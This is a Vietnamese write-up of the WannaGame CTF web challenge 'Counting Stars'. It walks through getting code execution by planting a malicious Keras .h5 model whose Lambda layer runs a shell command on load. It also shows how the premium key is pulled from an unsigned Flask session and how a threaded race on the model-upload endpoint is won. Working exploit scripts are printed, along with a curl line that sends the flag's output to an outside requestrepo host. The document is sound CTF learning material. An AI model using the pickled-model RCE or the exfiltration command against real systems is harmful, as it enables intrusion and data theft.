Try   HackMD

Giải Wannagame này thực sự có những bài web rất hay và chất lượng, để có thể làm được 1 challenge mình đã mất 2 ngày do thiếu quan sát. Tuy rằng không thể giải kịp trong giờ thi, nhưng không sao, mình đã học thêm được nhiều cái, thì sau đây sẽ là write up cho giải WannaGame, mình có đi hỏi các anh và xem writeup của những người tham gia và đây là ý hiểu của mình về các cách giải đó.

1. Couting Stars

Đề bài

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Challenge cung cấp cho mình source code, challenge được viết bằng python và sử dụng một thư viện đặc biệt tensorflow để đếm sao cho chuẩn xác
Mình sẽ test trên local trước, vì instance chỉ có 2 phút thui
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Docker file đã nói rõ mình chỉ có thể đọc được flag bằng cách chạy file readflag ở thư mục gốc -> phải RCE
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Phân tích ban đầu về trang web, website cung cấp chức năng đăng kí, đăng nhập, và 3 chức năng chính: đếm sao(/counting_stars), upgrade (/upgrade), và tải model từ url (/propose_model)

Phân tích source code

Src code cho tính năng upgrade:

@app.route("/upgrade", methods=["GET", "POST"]) def upgrade(): if not session: return redirect(url_for("login")) if request.method == "GET": return render_template("upgrade.html") key = request.get_json().get("key") if key != session["premium_key"]: return {"msg": "Invalid key, please pay 500$ for a permanent key"}, 403 else: User.update_one({"username": session["username"]}, {"$set": {"premium": 1}}) session["premium"] = 1 return {"msg": "Valid key, enjoy premium features"}
  • Tính năng này cho phép mình upgrade lên được thành premium, cụ thể là khi nhập đúng preminum key có trong session id thì mình sẽ được set thuộc tính preminum = 1 và các tính năng còn lại sẽ được nâng cấp
    Tiếp đến với tính năng đếm sao - Counting Stars
try: if not ( session["premium"] == 1 or session["last_time"] == -1 or time.time() - session["last_time"] >= 30 ): return { "msg": f"Free users can only use this service every 30 seconds. Upgrade to premium for more." }, 403 session["last_time_2"] = time.time()
  • Đầu tiên chức năng này sẽ check xem mình thỏa mãn 1 trong 3 điều kiện trên, nếu không thỏa mãn 1 trong 3 thì mình sẽ được coi như là một user thường, và cách 30 giây mới được sử dụng tính năng này 1 lần -> lí do cần phải upgrade lên preminum đây rồi
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    . Sau đó nếu như mình là người dùng premium thì giá trị last_time_2 trong session được gán thành giá trị time lúc đó
x, y = float(request.get_json().get("longtitude")), float( request.get_json().get("latitude") model = load_model(f'{session["dir"]}/{MODEL}') input = np.array(np.hstack(([[x]], [[y]]))) predict = model.predict(input)[0][0] return { "msg": f"There are approximate {predict:.1f} billion stars within a radius of 2808m around your location" } except: return {"msg": f"Wow! The stars are aligning"}, 200
  • Sau đó lấy 2 giá trị longtitudelatitude trong 1 json body post đặt vào 2 biến x và y, load một model, chính xác hơn là một thư mục nằm ở trong thư mục của người dùng mà mình có thể biết được thông qua session, MODEL được gắn hard code là counting_stars.h5 nên mình không can thiệp được việc nó có load được model khác. Sau đó đưa giá trị 2 biến x y vào mảng và tiến hành đoán :)) đoạn này quá toán học nên mình không hiểu lắm, nhưng sau đó biến predict sẽ cho ra kết quả và đó là số tỉ ngôi sao nằm trong bán kính 2808 mét quanh vị trí mà mình nhập vào (thiên văn học toán học vật lý học quá)
  • Còn nếu có lỗi gì xảy ra, website sẽ luôn báo về dòng chữ Wow! The stars are aligning mà không show lỗi ra cho user

Giờ mới đến phần thú vị, chức năng upload model:

Vẫn như trước đó, nó sẽ check xem mình có phải người dùng premium không, nếu không thì sẽ coi là người dùng bình thường và 30s mới dùng được tính năng này 1 lần như là bên trên, nên đoạn code đó mình bỏ qua

url = request.get_json().get("url") resp = subprocess.check_output(["wget", "--spider", "-o", "-", url]).decode() matches = re.findall("^Length: (\\d+)", resp, flags=re.M) if len(matches) != 1: return {"msg": "Please don't mess up our system"}, 400 if int(matches[0]) > 10000: return {"msg": "My closed beta server can't hold big files"}, 400
  • Trang web lấy giá trị của biến url trong json body post rồi tiến hành kiểm tra xem file đó có nặng hay không, và có tồn tại hay không thông qua câu lệnh wget --spider -o - -> Output đưa ra là Length của file và file có tồn tại hay không. Rồi website bắt regex đoạn đằng sau chữ Length và xem xem nó có chứa 1 thành phần hay không -> nếu chứa 2 thằng là 2 length -> 2 file -> không cóa đâu. Tiếp đến kiểm tra phần tử đầu tiên có độ dài lớn hơn 10000 hay không, nếu có sẽ trả về file quá to, tôi không thể nhận
subprocess.check_output(["wget", "-N", "-P", session["dir"], url]) list_of_files = glob.glob(f'{session["dir"]}/*') latest_file = max(list_of_files, key=os.path.getctime) if latest_file == f'{session["dir"]}/{MODEL}': os.remove(f"{session['dir']}/{MODEL}") shutil.copyfile(MODEL, f"{session['dir']}/{MODEL}") return {"msg": "Please don't mess up our system"}, 400 else: return {"msg": "Please contact admin and told him to check your file"}
  • Nếu như đã pass được đoạn code kia, file của mình đã sẵn sàng được tải -> website tiếp tục sử dụng wget để tải file về, rồi lấy toàn bộ các file có trong thư mục riêng của người dùng đưa vào 1 list_of_files. Và lấy file gần nhất (file có thời gian tạo lớn nhất) so sánh với MODEL -> là counting_stars.h5. Nếu trùng thì xóa model đó đi và copy lại một file counting_stars.h5 mới vào thư mục, đồng thời đưa ra thông báo đừng làm gì server tôi =)). Nếu như thành công sẽ báo về status 200 và lưu file vào hệ thống

Phương hướng giải quyết

Giờ bắt đầu từ thứ sussy baka nhất, là tính năng propose_model cho phép tải file từ URL bằng wget. Thì đầu tiên mình nghĩ đến việc blind command injection vào đoạn wget, nhưng cách đó không khả thi khi người ra đề không nối chuỗi mà để hẳn biến vào trong subprocess, cách viết như vậy không thể command injection:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau đó mình có một suy nghĩ ngây thơ là nếu như chỉ cần không phải là counting_stars.h5, thì mình up webshell lên để lấy persistent =))). Nhưng không, mình không thể truy cập đến được trực tiếp thư mục models của đề bài cho. Nên cách này cũng oẳng
Vậy chỗ nào mới trigger đến file ở trong thư mục này? Chỉ có chức năng counting_stars làm việc đó, vì nó sử dụng load_model để load file h5 nằm trong thư viện của chính mình, suy ra để trang web thực thi file thì mình cần phải upload lên 1 file counting_stars.h5 chứa nội dung là câu lệnh mà mình muốn -> RCE. Hiện tại mình chưa có cách nào khác ngoài cách này vì mình không thể upload lên được 1 file khác và bypass đoạn file name, biến models đã được hard code là counting_stars.h5 và so sánh ở python quá chặt =)) nên mình từ bỏ ý định bypass file name mà tập trung vào trước hết là kiếm shell của file h5 đã
Mày mò một lúc không ra, đang trong cơn tuyệt vọng thì Chương bạn mình tìm ra được một chỗ viết shell và export ra một file h5, mình sẽ có thể trigger nó thông qua câu lệnh load_model -> câu lệnh mà chức năng counting_stars sử dụng, chi tiết sẽ nằm ở đây, mình sẽ chỉ sử dụng nó thôi =)):
Đoạn code gen ra file h5 sẽ như này, mình sẽ test với câu lệnh id:

import tensorflow as tf def exploit(x): import os os.system("id") return x model = tf.keras.Sequential() model.add(tf.keras.layers.Input(shape=(64,))) model.add(tf.keras.layers.Lambda(exploit)) model.compile() model.save("test.h5")

Sau khi chạy đoạn code này nó sẽ gen ra file test.h5 mà khi load model đến nó sẽ trigger câu lệnh id:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ngonnnn, vậy là mình được shell h5 rồi, giờ mình cần phải giải quyết đến vấn đề nếu file cùng tên nó sẽ xóa file và copy file counting_stars.h5 mới vào, xem lại đoạn code nào:

subprocess.check_output(["wget", "-N", "-P", session["dir"], url]) list_of_files = glob.glob(f'{session["dir"]}/*') latest_file = max(list_of_files, key=os.path.getctime) if latest_file == f'{session["dir"]}/{MODEL}': os.remove(f"{session['dir']}/{MODEL}") shutil.copyfile(MODEL, f"{session['dir']}/{MODEL}")

tải về này, rồi nó check xem file đấy có phải counting_stars.h5 không này, rồi nó mới xóa, hmmmmmm
Đúng, nó tải về rồi nó mới xóa -> Race Condition

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Để race được, thì mình sẽ cần phải là người dùng premium =)), vì free user quá cùi chỉ được xài 30s 1 lần thôi. May mắn là premium key nằm trong session và mình có thể lấy nó dễ dàng bằng flask-unsign

┌──(kali㉿kali)-[~/Desktop]
└─$ flask-unsign --unsign -c '.eJxNzjsOAjEMBNC7uAaRxM5vL7NyYkdaQQDtp0CIu7OIArqZad48QaYZBug30ctyykiJrSUpGLygSWRizM5xtC1wjZpDY2lixatpMUu1SQQFDnDhZR3XqSsMR_tXR_cd7rP2aesw_PJ41sduOxuKK0o-OUSO1RuHIUmsUVzQ_QApUg3Vi6_cbGkoRK2GHd0Wna_8MYHh9QZvHjzN.ZW00VA.4tm4ZadpCwjZeJyGwFhPffWpTP0'
[*] Session decodes to: {'dir': 'models/9348a114db365d3084077922a71f6ac7e96fadfd1d5e0f79dc18dd3d', 'last_time': -1, 'last_time_2': -1, 'premium': 1, 'premium_key': '216b2be458233a7c502368d7c7d26e0774e34c6c5d5caf1bf3d44fc6', 'username': 'a'}

Nhập đoạn premium key này vào là vấn đề của chúng ta sẽ được giải quyết, ngonnn.
Rồi, giờ thì câu hỏi đặt ra sẽ là race như thế nào? Ý tưởng đầu tiên là mình sẽ race upload file counting_stars.h5 này lên, và đồng thời là request trigger nó ở /couting_stars để out bound ra ngoài bằng curl hoặc wget.
Tuy nhiên sau khi thử cả một buổi chiều không được thì mình khá là đuối. Sang hôm sau mình có đi hỏi và người anh Hưng Chiến đã chỉ mình cách race của anh ấy. Bây giờ mình sẽ upload 1 file bất kì ngay sau khi upload file counting_stars.h5 để khi check thì file bất kì đó mới là mới nhất và nó sẽ bỏ qua đoạn xóa file -> file mới của mình sẽ thay thế file cũ. Lúc này nhanh tay chèn ngay theo 1 request đếm sao để trigger model mới của mình -> Đọc flag -> Solve
Vậy thì mình đã gần như là hoàn chỉnh các bước rồi, tuy nhiên trong quá trình thực hiện mình liên tục dính lỗi status 304 khi wget file dựng trên apache và ngrok ra ngoài. Lý do là response header Last-Modified, nếu header này vẫn thế ở lần wget thứ 2 thì wget sẽ không tải file mà để lại cái thông báo ở trong log như sau

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau khi thử config lại apache nhưng vẫn không giòn, mình quyết định dựng 1 cái server php không có 1 cái gì hết để chứa file, khi đó thì sẽ không có header Last-Modified -> không lỗi
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • Tổng kết lại, các bước để giải quyết challenge như sau:
    • Tạo file h5 chứa câu lệnh outbound ra ngoài (mình sử dụng request repo) và một file rác (gì cũng được)
    • Host một trang web để chứa 2 file đó
    • Vào trang web, lấy premium key từ session, upgrade lên premium
    • Race condition ở propose_models (mình dùng script python)
    • Ngồi canh ở request repo đợi flag zề
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →

Khai thác

Tạo file

Bắt đầu tiến hành khai thác, mình sẽ tạo file h5 như đã nói để trigger lấy flag, nhưng trước đó mình cần câu lệnh lấy flag vì instance quá nhanh để có thể lấy persistent:
Mình test trên docker để xem câu lệnh nào hoạt động, và mình đã thành công với

curl -d "`/readflag`" http://ecs41sm4.requestrepo.com

image
image

Vẫn sử dụng script trên, mình tạo file
image

Mình sẽ thử wget spider file này để xem length của nó có thỏa mãn hay không

┌──(kali㉿kali)-[~/Desktop]
└─$ wget --spider -o - http://192.168.92.133:1234/counting_stars.h5                        
Spider mode enabled. Check if remote file exists.
--2023-12-03 22:21:55--  http://192.168.92.133:1234/counting_stars.h5
Connecting to 192.168.92.133:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9952 (9.7K)
Remote file exists and could contain further links,
but recursion is disabled -- not retrieving.

Vừa khít dưới 10000 luôn =))), shell của mình thỏa mãn điều kiện rồi

Server chứa file

Mình dựng server chứa file bằng php với câu lệnh

php -S 0.0.0.0:1234

image
Server được lập ra ở tab desktop nên có thể truy cập tới file lmao.txtcounting_stars.h5 một cách dễ dàng. Dựng ở local nên hiện tại mình sẽ sử dụng ip của máy ảo mà chưa ngrok ra ngoài:
image

Lấy premium key

Như mình đã lấy ở trước, mình dùng premium key và upgrade lên để không bị giới hạn request:

image
Mình sẽ lấy session sau khi được gán premium=1 để nhét vào script python

Race condition

Giờ mình sẽ có 3 luồng để chạy song song với nhau, đầu tiên là up file counting_stars.h5 lên, sau đó up file lmao.txt để file h5 không bị xóa, và cuối cùng là lấy flag bằng cách sử dụng chức năng đếm sao ở tab /counting_stars
Script mình khai thác ở local:

import requests from urllib3.exceptions import InsecureRequestWarning import json from threading import Thread requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) http_proxy = "http://localhost:8080" proxies = { "http" : http_proxy, } headers = { "Content-Type": "application/json", "Cookie": "session=.eJxNjUEKwkAMRe-StWI6k2ljL1OSSQLFVqXVhYh3t-JCd-9_Hrwn2LhAD_PFfFoPjNQkllojBxbPJhsV01qFkLKHJ4qkuabIhuxdy5pFGHYwyXobbuPs0O-bvzmk73FdfB7vM_Q_Hk7-2Nrox6AUYsnJsKoqdm0pKGTsmTy0Y5HNCG64Gh61UA6tW_S--nKWTxMEXm9TDz65.ZWyZVQ.rsPdWSUKtnYbzEsVmFqSyYoL4H8" } def upload_shell(): url = "http://localhost:2808/propose_model" payload = {"url":"http://192.168.92.133:1234/counting_stars.h5"} json_payload = json.dumps(payload) response=requests.post(url, data=json_payload, headers=headers, proxies=proxies) print(response.json()) def upload_shell2(): url = "http://localhost:2808/propose_model" payload = {"url":"http://192.168.92.133:1234/lmao.txt"} json_payload = json.dumps(payload) requests.post(url, data=json_payload, headers=headers, proxies=proxies) def get_flag(): url = "http://localhost:2808/counting_stars" payload = {"longtitude":1,"latitude":-1} json_payload = json.dumps(payload) requests.post(url, data=json_payload, headers=headers, proxies=proxies) while True: req1=Thread(target=upload_shell) req2=Thread(target=upload_shell2) req3=Thread(target=get_flag) req1.start() req2.start() req3.start() req1.join() req2.join() req3.join()

Script sẽ thành công nếu như in ra được status 200 -> nghĩa là in ra chữ Please contact admin and told him to check your file nên mình để in ra json respond của mỗi payload để quan sát cho dễ

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Script đã thành công kha khá lần rồi nên mình dừng lại và check ở request repo.
Flag về đến bản rồi:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Để ý trong docker file model gốc (17.2 kB) đã bị thay thế bằng file model của mình (9.7 kB)
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Exploit thành công
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Khai thác trên instance

Sự việc diễn ra rất nhanh nên mình cũng không chụp được quá trình làm bài :))), nhưng để làm trên instance thì mính sẽ cần phải thay đổi các đường dẫn và session ở trong script trên (như tham gia Vượt Lên Chính Mình), đồng thời ngrok cổng 1234 của server php kia để instance còn tải được file h5 của mình về

ngrok http 1234

Script khai thác của mình ở instance cũng tương tự như vậy thui:

...

headers = {
    "Content-Type": "application/json",
    "Cookie": "session=.eJxNjUEKwkAMRe-StWI6k2ljL1OSSQLFVqXVhYh3t-JCd-9_Hrwn2LhAD_PFfFoPjNQkllojBxbPJhsV01qFkLKHJ4qkuabIhuxdy5pFGHYwyXobbuPs0O-bvzmk73FdfB7vM_Q_Hk7-2Nrox6AUYsnJsKoqdm0pKGTsmTy0Y5HNCG64Gh61UA6tW_S--nKWTxMEXm9TDz65.ZWyZVQ.rsPdWSUKtnYbzEsVmFqSyYoL4H8"
}

def upload_shell():
    url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/propose_model"
    payload = {"url":"https://d65c-104-28-254-74.ngrok-free.app/counting_stars.h5"}
    json_payload = json.dumps(payload)
    response=requests.post(url, data=json_payload, headers=headers, proxies=proxies)
    print(response.json())

def upload_shell2():
    url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/propose_model"
    payload = {"url":"https://d65c-104-28-254-74.ngrok-free.app/lmao.txt"}
    json_payload = json.dumps(payload)
    requests.post(url, data=json_payload, headers=headers, proxies=proxies)

def get_flag():
    url = "http://2aa5f90240673fb1a4eada1b0032c804.w1chall.io.vn/counting_stars"
    payload = {"longtitude":1,"latitude":-1}
    json_payload = json.dumps(payload)
    requests.post(url, data=json_payload, headers=headers, proxies=proxies)
...

Sau khi chạy thì flag về request repo của mình như sau:

image
Flag: W1{10_out_of_100_796a480d3968d4862419227123e01d70}